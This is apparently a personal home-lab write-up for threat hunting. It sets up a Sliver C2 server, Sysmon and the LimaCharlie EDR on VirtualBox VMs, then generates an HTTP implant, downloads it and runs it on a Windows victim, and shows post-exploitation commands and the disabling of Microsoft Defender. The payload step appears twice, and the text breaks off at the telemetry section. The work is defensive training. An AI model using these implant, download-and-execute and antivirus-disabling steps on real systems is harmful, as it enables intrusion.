THREAT HUNTING LAB

Threat Hunting || Threat Intelligence || Threat Analysis

Overview

• Windows VM 1 (Victim)
• Windows VM 2 (SSH)
• Ubuntu Server VM 1 (Sliver C2)
• Ubuntu Server VM 2 (Metasploit C2 — Optional)
• LimaCharlie (EDR) Cloud Platform.

System Requirements for this guide

• 64-bit multi-threaded CPU (minimum 4 cores) with Virtualization Support.
• 16GB RAM (8GB of RAM will slow you down).
• 150GB Disk Space.

Lab set-up Steps

Introduction

The threat hunting lab was designed to provide hands-on experience in detecting and responding to potential threats in a controlled environment. The lab consisted of multiple virtual machines (VMs), including a Windows VM as the victim machine, a Windows VM for SSH, and an Ubuntu Server VM for the Sliver C2 server. In this report, we will provide a detailed overview of the lab setup, configuration, and outcome.

Setup Procedure

The lab setup involved installing VirtualBox and creating a NAT network with the IP address 192.168.10.0/24. I created three VMs:

1. Windows 10 VM (Victim): I installed Windows 10 on this VM and configured the network settings to use the NAT network. I also installed Guest Additions to improve performance and enable features like shared clipboard and drag-and-drop.

2. Windows VM (SSH): I created a clone of the Windows 10 VM and configured it to use SSH. This VM was used to remotely access the Ubuntu Server VM.

3. Ubuntu Server VM (Sliver C2 Server): I installed Ubuntu Server on this VM and configured the network settings to use the NAT network. I also installed the Sliver C2 server binary and configured it to work with the Windows VM.

Step 1: Installing VirtualBox and Creating a NAT Network

• I downloaded and installed VirtualBox on my host machine.

• I created a new NAT network with the IP address 192.168.10.0/24.

• I configured the NAT network settings to enable DHCP and set the network name to “Analyst Network”.

Step 2: Creating the Windows 10 VM (Victim)

• I created a new VM and selected the Windows 10 ISO file.

• I configured the VM settings to use 3GB of RAM and 2 CPU cores.

• I created a virtual hard disk with a size of 80GB.

• I installed Windows 10 on the VM and configured the network settings to use the NAT network.

Step 3: Creating the Windows VM (SSH)

• I cloned the Windows 10 VM and configured it to use SSH.

• I installed an SSH client on the VM and configured it to connect to the Ubuntu Server VM.

Step 4: Creating the Ubuntu Server VM (Sliver C2 Server)

• I created a new VM and selected the Ubuntu Server ISO file.

• I configured the VM settings to use 4GB of RAM and 2 CPU cores.

• I created a virtual hard disk with a size of 80GB.

• I installed Ubuntu Server on the VM and configured the network settings to use the NAT network

Windows VM Configuration

I configured the Windows VM to disable Microsoft Defender and stop the VM from entering sleep or idle mode. I also installed Sysmon to monitor system activity and configured it to work with LimaCharlie.

Step 1: Disabling Microsoft Defender

• I used Sordum’s Defender Control to permanently disable Microsoft Defender on the Windows VM.

• I downloaded and installed Sordum’s Defender Control.

• I configured the tool to disable Microsoft Defender and added it to the exclusions list.

Step 2: Installing Sysmon

• I downloaded and installed Sysmon on the Windows VM.

• I configured Sysmon to work with LimaCharlie.

• I downloaded SwiftOnSecurity’s widely used Sysmon configuration file and installed Sysmon using the configuration file.

Ubuntu Server Configuration

I configured the Ubuntu Server VM to set up a static IP address and install the Sliver C2 server binary.

Step 1: Configuring the Static IP Address

• I configured the Ubuntu Server VM to use a static IP address.

• I edited the network configuration file to set the IP address, netmask, and gateway.

Step 2: Installing the Sliver C2 Server Binary

• I downloaded and installed the Sliver C2 server binary on the Ubuntu Server VM.

• I configured the Sliver C2 server to work with the Windows VM.

• I installed “mingw-w64” to compile Windows payloads from a Linux host.

LimaCharlie EDR Installation

I signed up for a free LimaCharlie account and installed the EDR agent on the Windows VM. I configured LimaCharlie to collect Sysmon event logs and enabled the Sigma EDR ruleset for automated incident response.

Step 1: Signing up for a LimaCharlie Account

• I signed up for a free LimaCharlie account.

• I created a new organization and set up the LimaCharlie environment.

Step 2: Installing the EDR Agent

• I downloaded and installed the LimaCharlie EDR agent on the Windows VM.

• I configured the EDR agent to work with Sysmon.

• I enabled the Sigma EDR ruleset for automated incident response.

Next Steps

1. Generating the C2 Payload

I start by SSH’ing into our Ubuntu VM.

A. I jump into a root shell, download sliver then navigate to the Sliver installation directory:

sudo su

cd /opt/sliver

B. I launch the Sliver Server:

Sliver-server

1. Generating the C2 Payload

I start by SSH’ing into my Ubuntu VM

A. I jump into a root shell and navigate to the Sliver installation directory:

sudo su

cd /opt/sliver

B. I launch the Sliver Server:

sliver-server

C. Once inside the interactive Sliver shell, I generate my first C2 payload. I make sure to use the static IP I assigned to my Ubuntu VM earlier in my lab build-up:

generate — http [Ubuntu_VM_IP] — save /opt/sliver

NOTE: Keep in mind that the output file (C2 file) will have a randomized name. You will see this file mentioned several times throughout the guide, but the name will be unique in your case.

D. I verify the Payload:

I run the following command to confirm that my implant has been generated:

implants

E. I now have a functioning C2 implant (payload), ready to be deployed to the Windows VM. I exit the Sliver shell for now:

exit

2. Transfer the Payload to Windows

A. To make it easy to download the C2 payload from the Ubuntu VM to the Windows VM, I use a simple Python trick that quickly starts a temporary web server:

cd /opt/sliver

python3 -m http.server 80

B. I switch to our Windows VM, open an Administrative PowerShell prompt, and download the payload using Invoke-WebRequest. I replace [Linux_VM_IP] and [payload_name] accordingly:

IWR -Uri http://[Linux_VM_IP]/[payload_name].exe -Outfile C:\Users\bob\Downloads[payload_name].exe

3. Start the C2 Session

A. I head back to our Linux VM and terminate the Python web server (Ctrl + C), then restart the Sliver server:

sliver-server

B. Inside Sliver, I start the HTTP listener to catch the callback from my Windows VM:

http

C. I go back to the Windows VM and run the C2 payload from the location where I downloaded it, using the same administrative PowerShell window as before:

C:\Users\bob\Downloads\<our_C2-implant>.exe

Note: This step must be done in an administrative PowerShell prompt — if not, the next steps will fail. After a short wait, my C2 session should appear on the Sliver server.

4. Interact With the Session

A. I list and verify active sessions and take note of the session ID:

sessions

B. I interacted with my session using its ID:

use [session_id]

Now I’m talking directly to the Windows VM via my implant (C2 session). Let’s run some basic commands to explore:

C. Get session details:

info

D. Identify user: I identify which user account our implant is running under.

whoami

E. List privileges: I determine the privileges associated with that account.

getprivs

If my implant was executed with administrative rights, we should see certain privileges — like “SeDebugPrivilege” — that make further attack actions easier. If I don’t see these privileges, I double-check that I ran the implant from an administrative command prompt.

F. Show working directory:

pwd

G. View active network connections on the remote system:

netstat

I noticed that Sliver helpfully highlights its own process in green for easy identification. The process named rphcp.exe is the executable for the LimaCharlie EDR service.

H. List running processes:

ps -T

Sliver helpfully highlights its own process in green, while any detected countermeasures or defensive tools are marked in red for easy identification. This sometimes helps attackers to identify the compromised system security tool.

5. Observe Telemetry in LimaCharlie

Now let’s shift to the LimaCharlie web UI to observe the activities we just created.

A. Process Tree: I clicked Sensors on the left-hand menu. I selected my active Windows sensor. I clicked Processes in the sensor’s side menu. T spent some time exploring the process tree.

(To be cont’d)

Outcome

The lab setup provided a comprehensive environment for threat hunting and detection. We successfully configured the Sliver C2 server, Sysmon, and LimaCharlie EDR to work together, enabling us to detect and respond to potential threats. The lab demonstrated the importance of proactive security measures and the value of using multiple tools to enhance threat detection and response capabilities.

Conclusion

In conclusion, the threat hunting lab provided us hands-on experience in detecting and responding to potential threats in a controlled environment. The lab setup and configuration demonstrated the importance of proactive security measures and the value of using multiple tools to enhance threat detection and response capabilities. The report provides a detailed overview of the lab setup, configuration, and outcome, highlighting the key steps and tools used in the lab

Credit: Yakubu Bello